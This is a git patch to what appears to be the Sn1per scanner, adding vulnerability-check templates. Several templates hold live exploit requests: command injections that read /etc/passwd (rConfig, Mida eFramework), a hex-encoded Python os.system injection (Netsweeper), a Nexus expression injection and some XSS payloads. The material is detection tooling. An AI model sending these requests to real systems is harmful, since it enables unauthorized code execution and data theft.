From 1a96b105dbcd0dccb50054e71f90903fec964fe3 Mon Sep 17 00:00:00 2001
From: "@xer0dayz" <1n3@hushmail.com>
Date: Mon, 14 Sep 2020 08:25:38 -0700
Subject: [PATCH] * v8.7 - Updated web file bruteforce lists * v8.7 - Added
 updated Slack API integration/notifications * v8.7 - Added Arachni, Nikto,
 Nessus, NMap + 20 passive sc0pe vulnerability parsers

---
 CHANGELOG.md                                  |  5 +++
 modes/sc0pe-active-scan.sh                    | 17 --------
 modes/sc0pe-passive-scan.sh                   | 33 ----------------
 .../active/AWS_S3_Public_Bucket_Listing.sh    |  9 +++++
 ...2_-_rConfig_3.9.2_Remote_Code_Execution.sh |  9 +++++
 .../CVE-2019-19908_-_phpMyChat-Plus_XSS.sh    |  4 +-
 .../CVE-2019-7192_-_QNAP_Pre-Auth_Root_RCE.sh |  9 +++++
 ...0-10204_-_Sonatype_Nexus_Repository_RCE.sh |  9 +++++
 ...weeper_WebAdmin_Python_Code_Injection_1.sh |  9 +++++
 ...weeper_WebAdmin_Python_Code_Injection_2.sh |  9 +++++
 ...0_-_Mida_eFramework_Unauthenticated_RCE.sh |  9 +++++
 .../CVE-2020-2096_Jenkins_Gitlab_XSS_1.sh     |  4 +-
 .../CVE-2020-2096_Jenkins_Gitlab_XSS_2.sh     |  4 +-
 .../CVE-2020-2096_Jenkins_Gitlab_XSS_3.sh     |  4 +-
 .../CVE-2020-2096_Jenkins_Gitlab_XSS_4.sh     |  4 +-
 ...2020-2140_-_Jenkin_AuditTrailPlugin_XSS.sh |  9 +++++
 ...020-24223_-_Mara_CMS_7.5_Reflective_XSS.sh |  9 +++++
 ...TD_Arbitrary_File_Reading_Vulnerability.sh |  2 +-
 .../active/CVE-2020-5902_-_F5_BIG-IP_XSS.sh   |  4 +-
 ...istrative_User_in_SAP_NetWeaver_AS_JAVA.sh |  9 +++++
 ...set_3.15_Unauthenticated_Database_Reset.sh |  2 +-
 ...I_Toolset_6.01_Remote_Command_Execution.sh |  9 +++++
 ...=> CVE-2020-8115_-_Revive_Adserver_XSS.sh} |  0
 ...rix_ADC_NetScaler_Gateway_Reflected_XSS.sh |  4 +-
 .../CVE-2020-8512_-_IceWarp_WebMail_XSS.sh    |  9 +++++
 ...nes_Unauthenticated_Arbitrary_File_Read.sh |  2 +-
 .../active/Magento_2.3.0_SQL_Injection.sh     |  9 +++++
 templates/active/Robots.txt_Detected.sh       |  9 +++++
 templates/active/Sitemap.xml_Detected.sh      |  9 +++++
 .../Clear-text_Communications_HTTP.disabled   |  8 ----
 .../Component_With_Known_Vulnerabilities_1.sh |  8 ----
 .../Component_With_Known_Vulnerabilities_2.sh |  8 ----
 templates/passive/Default_Credentials_1.sh    |  8 ----
 templates/passive/Default_Credentials_2.sh    |  8 ----
 templates/passive/Interesting_Ports_Found.sh  |  8 ----
 ...18-15473_-_OpenSSH_Username_Enumeration.sh |  9 +++++
 .../network/Default_Credentials_BruteX.sh     |  9 +++++
 .../network/Default_Credentials_NMap.sh       |  9 +++++
 .../{ => network}/Interesting_Domain_Found.sh |  3 +-
 .../{ => network}/Lack_of_SPF_DNS_Record.sh   |  3 +-
 .../Possible_Takeover_Detected.sh             |  3 +-
 .../passive/network/SMB_Info_Disclosure.sh    |  9 +++++
 .../passive/{ => network}/SMBv1_Enabled.sh    |  3 +-
 .../passive/network/SSH_Version_Disclosure.sh |  9 +++++
 .../Subjack_Takeover_Detected.sh              |  3 +-
 .../Subover_Takeover_Detected.sh              |  3 +-
 ...onent_With_Known_Vulnerabilities_-_NMap.sh | 12 ++++++
 .../recursive/Interesting_Ports_Found.sh      | 13 +++++++
 .../network/recursive/Nessus_Import.sh        | 14 +++++++
 .../passive/{ => web}/Autocomplete_Enabled.sh |  0
 ...CORS_Policy_-_Allow-Credentials_Enabled.sh |  0
 .../CORS_Policy_-_Allow-Origin_Wildcard.sh    |  0
 templates/passive/web/CSP_Not_Enforced.sh     | 21 ++++++++++
 .../Clear-text_Communications_HTTP.sh         |  2 +
 templates/passive/{ => web}/Clickjacking.sh   |  4 +-
 .../passive/{ => web}/Drupal_Detected.sh      |  2 +-
 .../{ => web}/Expired_SSL_Certificate.sh      |  0
 .../Insecure_Cookie_-_HTTPOnly_Not_Set.sh     |  0
 .../Insecure_Cookie_-_Secure_Not_Set.sh       |  0
 .../{ => web}/Insecure_SSL_TLS_Connection.sh  |  0
 ...Insecure_SSL_TLS_Connection_CN_Mismatch.sh |  4 +-
 .../{ => web}/Interesting_Title_Found.sh      |  0
 .../{ => web}/Server_Header_Disclosure.sh     |  0
 .../Strict_Tranposrt_Security_Not_Enforced.sh | 12 ++++++
 .../passive/{ => web}/Trace_Method_Enabled.sh |  0
 .../{ => web}/X-Powered-By_Header_Found.sh    |  0
 .../Arachni_Vulnerability_Scan_-_HTTP.sh      | 39 +++++++++++++++++++
 .../Arachni_Vulnerability_Scan_-_HTTPS.sh     | 39 +++++++++++++++++++
 .../Nikto_Vulnerability_Scan-HTTP.sh          | 12 ++++++
 .../Nikto_Vulnerability_Scan-HTTPS.sh         | 12 ++++++
 70 files changed, 396 insertions(+), 125 deletions(-)
 delete mode 100644 modes/sc0pe-active-scan.sh
 delete mode 100644 modes/sc0pe-passive-scan.sh
 create mode 100644 templates/active/AWS_S3_Public_Bucket_Listing.sh
 create mode 100644 templates/active/CVE-2019-16662_-_rConfig_3.9.2_Remote_Code_Execution.sh
 create mode 100644 templates/active/CVE-2019-7192_-_QNAP_Pre-Auth_Root_RCE.sh
 create mode 100644 templates/active/CVE-2020-10204_-_Sonatype_Nexus_Repository_RCE.sh
 create mode 100644 templates/active/CVE-2020-13167_-_Netsweeper_WebAdmin_Python_Code_Injection_1.sh
 create mode 100644 templates/active/CVE-2020-13167_-_Netsweeper_WebAdmin_Python_Code_Injection_2.sh
 create mode 100644 templates/active/CVE-2020-15920_-_Mida_eFramework_Unauthenticated_RCE.sh
 create mode 100644 templates/active/CVE-2020-2140_-_Jenkin_AuditTrailPlugin_XSS.sh
 create mode 100644 templates/active/CVE-2020-24223_-_Mara_CMS_7.5_Reflective_XSS.sh
 create mode 100644 templates/active/CVE-2020-6287_-_Create_an_Administrative_User_in_SAP_NetWeaver_AS_JAVA.sh
 create mode 100644 templates/active/CVE-2020-7209_-_LinuxKI_Toolset_6.01_Remote_Command_Execution.sh
 rename templates/active/{CVE-2020-8115_-_Revive_Adserver_XSS.disabled => CVE-2020-8115_-_Revive_Adserver_XSS.sh} (100%)
 create mode 100644 templates/active/CVE-2020-8512_-_IceWarp_WebMail_XSS.sh
 create mode 100644 templates/active/Magento_2.3.0_SQL_Injection.sh
 create mode 100644 templates/active/Robots.txt_Detected.sh
 create mode 100644 templates/active/Sitemap.xml_Detected.sh
 delete mode 100644 templates/passive/Clear-text_Communications_HTTP.disabled
 delete mode 100644 templates/passive/Component_With_Known_Vulnerabilities_1.sh
 delete mode 100644 templates/passive/Component_With_Known_Vulnerabilities_2.sh
 delete mode 100644 templates/passive/Default_Credentials_1.sh
 delete mode 100644 templates/passive/Default_Credentials_2.sh
 delete mode 100644 templates/passive/Interesting_Ports_Found.sh
 create mode 100644 templates/passive/network/CVE-2018-15473_-_OpenSSH_Username_Enumeration.sh
 create mode 100644 templates/passive/network/Default_Credentials_BruteX.sh
 create mode 100644 templates/passive/network/Default_Credentials_NMap.sh
 rename templates/passive/{ => network}/Interesting_Domain_Found.sh (85%)
 rename templates/passive/{ => network}/Lack_of_SPF_DNS_Record.sh (84%)
 rename templates/passive/{ => network}/Possible_Takeover_Detected.sh (93%)
 create mode 100644 templates/passive/network/SMB_Info_Disclosure.sh
 rename templates/passive/{ => network}/SMBv1_Enabled.sh (82%)
 create mode 100644 templates/passive/network/SSH_Version_Disclosure.sh
 rename templates/passive/{ => network}/Subjack_Takeover_Detected.sh (93%)
 rename templates/passive/{ => network}/Subover_Takeover_Detected.sh (93%)
 create mode 100644 templates/passive/network/recursive/Component_With_Known_Vulnerabilities_-_NMap.sh
 create mode 100644 templates/passive/network/recursive/Interesting_Ports_Found.sh
 create mode 100644 templates/passive/network/recursive/Nessus_Import.sh
 rename templates/passive/{ => web}/Autocomplete_Enabled.sh (100%)
 rename templates/passive/{ => web}/CORS_Policy_-_Allow-Credentials_Enabled.sh (100%)
 rename templates/passive/{ => web}/CORS_Policy_-_Allow-Origin_Wildcard.sh (100%)
 create mode 100644 templates/passive/web/CSP_Not_Enforced.sh
 rename templates/passive/{ => web}/Clear-text_Communications_HTTP.sh (94%)
 rename templates/passive/{ => web}/Clickjacking.sh (96%)
 rename templates/passive/{ => web}/Drupal_Detected.sh (74%)
 rename templates/passive/{ => web}/Expired_SSL_Certificate.sh (100%)
 rename templates/passive/{ => web}/Insecure_Cookie_-_HTTPOnly_Not_Set.sh (100%)
 rename templates/passive/{ => web}/Insecure_Cookie_-_Secure_Not_Set.sh (100%)
 rename templates/passive/{ => web}/Insecure_SSL_TLS_Connection.sh (100%)
 rename templates/passive/{ => web}/Insecure_SSL_TLS_Connection_CN_Mismatch.sh (95%)
 rename templates/passive/{ => web}/Interesting_Title_Found.sh (100%)
 rename templates/passive/{ => web}/Server_Header_Disclosure.sh (100%)
 create mode 100644 templates/passive/web/Strict_Tranposrt_Security_Not_Enforced.sh
 rename templates/passive/{ => web}/Trace_Method_Enabled.sh (100%)
 rename templates/passive/{ => web}/X-Powered-By_Header_Found.sh (100%)
 create mode 100644 templates/passive/web/recursive/Arachni_Vulnerability_Scan_-_HTTP.sh
 create mode 100644 templates/passive/web/recursive/Arachni_Vulnerability_Scan_-_HTTPS.sh
 create mode 100644 templates/passive/web/recursive/Nikto_Vulnerability_Scan-HTTP.sh
 create mode 100644 templates/passive/web/recursive/Nikto_Vulnerability_Scan-HTTPS.sh

diff --git a/CHANGELOG.md b/CHANGELOG.md
index bf53275..ff74a1b 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,6 +1,11 @@
 ## CHANGELOG:
 * v8.7 - Updated web file bruteforce lists
 * v8.7 - Added updated Slack API integration/notifications
+* v8.7 - Added Arachni, Nikto, Nessus, NMap + 20 passive sc0pe vulnerability parsers
+* v8.7 - Added Revive Adserver XSS sc0pe template
+* v8.7 - Added IceWarp Webmail XSS sc0pe template
+* v8.7 - Added Mara CMS v7.5 XSS sc0pe template
+* v8.7 - Added Administrative Privilege Escalation in SAP NetWeaver
 * v8.7 - Added Magento 2.3.0 SQL Injection sc0pe template
 * v8.7 - Added CVE-2020-15920 - Unauthenticated RCE at Mida eFramework sc0pe template
 * v8.7 - Added CVE-2019-7192 - QNAP Pre-Auth Root RCE sc0pe template
diff --git a/modes/sc0pe-active-scan.sh b/modes/sc0pe-active-scan.sh
deleted file mode 100644
index 48edb7f..0000000
--- a/modes/sc0pe-active-scan.sh
+++ /dev/null
@@ -1,17 +0,0 @@
-        for file in `ls $INSTALL_DIR/templates/active/*.sh 2> /dev/null`; do
-            source $file
-            OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
-            #echo $file
-            if [[ "$SSL" == "true" ]]; then
-                if [[ -z "$PORT" ]]; then
-                    PORT="443"
-                fi
-                curl --connect-timeout 3 --max-time 5 -k -X $METHOD $CURL_OPTS "https://$TARGET:$PORT/$URI" 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out && echo "[+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$PORT-$OUTPUT_NAME.txt" 2> /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(cat /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(cat /tmp/match.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$PORT-$OUTPUT_NAME.txt" 2> /dev/null 
-            else
-                if [[ -z "$PORT" ]]; then
-                    PORT="80"
-                fi
-                curl --connect-timeout 3 --max-time 5 -k -X $METHOD $CURL_OPTS "http://$TARGET:$PORT/$URI" 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out && echo "[+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$PORT-$OUTPUT_NAME.txt" 2> /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(cat /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(cat /tmp/match.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$PORT-$OUTPUT_NAME.txt" 2> /dev/null
-            fi
-            rm -f /tmp/match.out 2> /dev/null
-        done
\ No newline at end of file
diff --git a/modes/sc0pe-passive-scan.sh b/modes/sc0pe-passive-scan.sh
deleted file mode 100644
index 7ecb59e..0000000
--- a/modes/sc0pe-passive-scan.sh
+++ /dev/null
@@ -1,33 +0,0 @@
-            for file in `ls $INSTALL_DIR/templates/passive/*.sh 2> /dev/null`; do
-                  #echo $file
-                  source $file
-                  OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
-                  
-                  if [[ "$SEARCH" == "negative" ]]; then
-                        if [[ "$SSL" == "true" ]]; then
-                            if [[ -z "$PORT" ]]; then
-                                PORT="443"
-                            fi
-                            cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out || echo "[+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null 
-                        else
-                            if [[ -z "$PORT" ]]; then
-                                PORT="80"
-                            fi
-                            cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out || echo "[+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$OUTPUT_NAME.txt" 2> /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$OUTPUT_NAME.txt" 2> /dev/null
-                        fi
-                  else
-                        #echo $file
-                        if [[ "$SSL" == "true" ]]; then
-                            if [[ -z "$PORT" ]]; then
-                                PORT="443"
-                            fi
-                            cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out && echo "[+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null 
-                        else
-                            if [[ -z "$PORT" ]]; then
-                                PORT="80"
-                            fi
-                            cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out && echo "[+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$OUTPUT_NAME.txt" 2> /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$OUTPUT_NAME.txt" 2> /dev/null
-                        fi
-                  fi
-                  rm -f /tmp/match.out 2> /dev/null
-            done
\ No newline at end of file
diff --git a/templates/active/AWS_S3_Public_Bucket_Listing.sh b/templates/active/AWS_S3_Public_Bucket_Listing.sh
new file mode 100644
index 0000000..9c69f2a
--- /dev/null
+++ b/templates/active/AWS_S3_Public_Bucket_Listing.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='AWS S3 Public Bucket Listing'
+URI=''
+METHOD='GET'
+MATCH="listbucket"
+SEVERITY='P5 - INFO'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/active/CVE-2019-16662_-_rConfig_3.9.2_Remote_Code_Execution.sh b/templates/active/CVE-2019-16662_-_rConfig_3.9.2_Remote_Code_Execution.sh
new file mode 100644
index 0000000..b868b0c
--- /dev/null
+++ b/templates/active/CVE-2019-16662_-_rConfig_3.9.2_Remote_Code_Execution.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2019-16662 - rConfig 3.9.2 Remote Code Execution'
+URI='/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23'
+METHOD='GET'
+MATCH='root\:'
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS='--user-agent "" -s -L --insecure'
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/active/CVE-2019-19908_-_phpMyChat-Plus_XSS.sh b/templates/active/CVE-2019-19908_-_phpMyChat-Plus_XSS.sh
index 7f55747..9869219 100644
--- a/templates/active/CVE-2019-19908_-_phpMyChat-Plus_XSS.sh
+++ b/templates/active/CVE-2019-19908_-_phpMyChat-Plus_XSS.sh
@@ -1,8 +1,8 @@
 AUTHOR='@xer0dayz'
 VULN_NAME='CVE-2019-19908 - phpMyChat-Plus XSS'
-URI="/plus/pass_reset.php?L=english&pmc_username=%22%3E%3Cscript%3Ealert(1337)%3C/script%3E%3C"
+URI="/plus/pass_reset.php?L=english&pmc_username=%22%3E%3Cscript%3Ealert(1337)%3C/script%3E"
 METHOD='GET'
-MATCH="<svg/onload=alert\(1337\)>"
+MATCH="<script>alert\(1337\)<\/script>"
 SEVERITY='P2 - HIGH'
 CURL_OPTS="--user-agent '' -s -L --insecure"
 SECONDARY_COMMANDS=''
diff --git a/templates/active/CVE-2019-7192_-_QNAP_Pre-Auth_Root_RCE.sh b/templates/active/CVE-2019-7192_-_QNAP_Pre-Auth_Root_RCE.sh
new file mode 100644
index 0000000..2eb497a
--- /dev/null
+++ b/templates/active/CVE-2019-7192_-_QNAP_Pre-Auth_Root_RCE.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2019-7192 - QNAP Pre-Auth Root RCE'
+URI='/photo/p/api/video.php'
+METHOD='GET'
+MATCH='401\ Unauthorized'
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/active/CVE-2020-10204_-_Sonatype_Nexus_Repository_RCE.sh b/templates/active/CVE-2020-10204_-_Sonatype_Nexus_Repository_RCE.sh
new file mode 100644
index 0000000..019e6af
--- /dev/null
+++ b/templates/active/CVE-2020-10204_-_Sonatype_Nexus_Repository_RCE.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2020-10204 - Sonatype Nexus Repository RCE'
+URI="/extdirect"
+METHOD='POST'
+MATCH="1787569"
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s --insecure -L --data \"{\"action\":\"coreui_User\",\"method\":\"update\",\"data\":[{\"userId\":\"anonymous\",\"version\":\"1\",\"firstName\:\"Anonymous\",\"lastName\":\"User2\",\"email\":\"anonymous@example.org\",\"status\":\"active\",\"roles\":[\"$\\c{1337*1337\"]}],\"type\":\"rpc\",\"tid\":28}'\"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/active/CVE-2020-13167_-_Netsweeper_WebAdmin_Python_Code_Injection_1.sh b/templates/active/CVE-2020-13167_-_Netsweeper_WebAdmin_Python_Code_Injection_1.sh
new file mode 100644
index 0000000..58117dc
--- /dev/null
+++ b/templates/active/CVE-2020-13167_-_Netsweeper_WebAdmin_Python_Code_Injection_1.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2020-13167 - Netsweeper WebAdmin unixlogin.php Python Code Injection 1'
+URI="/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5"
+METHOD='GET'
+MATCH="nonexistent"
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS=' --user-agent '' -s -L --insecure'
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/active/CVE-2020-13167_-_Netsweeper_WebAdmin_Python_Code_Injection_2.sh b/templates/active/CVE-2020-13167_-_Netsweeper_WebAdmin_Python_Code_Injection_2.sh
new file mode 100644
index 0000000..44b41dd
--- /dev/null
+++ b/templates/active/CVE-2020-13167_-_Netsweeper_WebAdmin_Python_Code_Injection_2.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2020-13167 - Netsweeper WebAdmin unixlogin.php Python Code Injection 2'
+URI="/webadmin/out"
+METHOD='GET'
+MATCH="nonexistent"
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS=' --user-agent '' -s -L --insecure'
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/active/CVE-2020-15920_-_Mida_eFramework_Unauthenticated_RCE.sh b/templates/active/CVE-2020-15920_-_Mida_eFramework_Unauthenticated_RCE.sh
new file mode 100644
index 0000000..7ec8497
--- /dev/null
+++ b/templates/active/CVE-2020-15920_-_Mida_eFramework_Unauthenticated_RCE.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2020-15920 - Mida eFramework Unauthenticated RCE'
+URI='/PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING'
+METHOD='GET'
+MATCH='root\:'
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/active/CVE-2020-2096_Jenkins_Gitlab_XSS_1.sh b/templates/active/CVE-2020-2096_Jenkins_Gitlab_XSS_1.sh
index f7c7ee0..5f0d164 100644
--- a/templates/active/CVE-2020-2096_Jenkins_Gitlab_XSS_1.sh
+++ b/templates/active/CVE-2020-2096_Jenkins_Gitlab_XSS_1.sh
@@ -1,8 +1,8 @@
 AUTHOR='@xer0dayz'
 VULN_NAME='CVE-2020-2096 Jenkins Gitlab XSS 1'
-URI="/git/build_now/a'\"><svg/onload=alert(document.domain)>"
+URI="/git/build_now/a'\"><INJECTX>"
 METHOD='GET'
-MATCH="Gitlab Web Hook"
+MATCH="<INJECTX>"
 SEVERITY='P3 - MEDIUM'
 CURL_OPTS="--user-agent '' -s -L --insecure"
 SECONDARY_COMMANDS=''
diff --git a/templates/active/CVE-2020-2096_Jenkins_Gitlab_XSS_2.sh b/templates/active/CVE-2020-2096_Jenkins_Gitlab_XSS_2.sh
index 1287b29..3773046 100644
--- a/templates/active/CVE-2020-2096_Jenkins_Gitlab_XSS_2.sh
+++ b/templates/active/CVE-2020-2096_Jenkins_Gitlab_XSS_2.sh
@@ -1,8 +1,8 @@
 AUTHOR='@xer0dayz'
 VULN_NAME='CVE-2020-2096 Jenkins Gitlab XSS 2'
-URI="/jenkins/git/build_now/a'\"><svg/onload=alert(document.domain)>"
+URI="/jenkins/git/build_now/a'\"><INJECTX>"
 METHOD='GET'
-MATCH="Gitlab Web Hook"
+MATCH="<INJECTX>"
 SEVERITY='P3 - MEDIUM'
 CURL_OPTS="--user-agent '' -s -L --insecure"
 SECONDARY_COMMANDS=''
diff --git a/templates/active/CVE-2020-2096_Jenkins_Gitlab_XSS_3.sh b/templates/active/CVE-2020-2096_Jenkins_Gitlab_XSS_3.sh
index 9f27710..5751342 100644
--- a/templates/active/CVE-2020-2096_Jenkins_Gitlab_XSS_3.sh
+++ b/templates/active/CVE-2020-2096_Jenkins_Gitlab_XSS_3.sh
@@ -1,8 +1,8 @@
 AUTHOR='@xer0dayz'
 VULN_NAME='CVE-2020-2096 Jenkins Gitlab XSS 3'
-URI="/gitlab/build_now/a'\"><svg/onload=alert(document.domain)>"
+URI="/gitlab/build_now/a'\"><INJECTX>"
 METHOD='GET'
-MATCH="Gitlab Web Hook"
+MATCH="<INJECTX>"
 SEVERITY='P3 - MEDIUM'
 CURL_OPTS="--user-agent '' -s -L --insecure"
 SECONDARY_COMMANDS=''
diff --git a/templates/active/CVE-2020-2096_Jenkins_Gitlab_XSS_4.sh b/templates/active/CVE-2020-2096_Jenkins_Gitlab_XSS_4.sh
index 4d01daf..5b18a16 100644
--- a/templates/active/CVE-2020-2096_Jenkins_Gitlab_XSS_4.sh
+++ b/templates/active/CVE-2020-2096_Jenkins_Gitlab_XSS_4.sh
@@ -1,8 +1,8 @@
 AUTHOR='@xer0dayz'
 VULN_NAME='CVE-2020-2096 Jenkins Gitlab XSS 4'
-URI="/jenkins/gitlab/build_now/a'\"><svg/onload=alert(document.domain)>"
+URI="/jenkins/gitlab/build_now/a'\"><INJECTX>"
 METHOD='GET'
-MATCH="Gitlab Web Hook"
+MATCH="<INJECTX>"
 SEVERITY='P3 - MEDIUM'
 CURL_OPTS="--user-agent '' -s -L --insecure"
 SECONDARY_COMMANDS=''
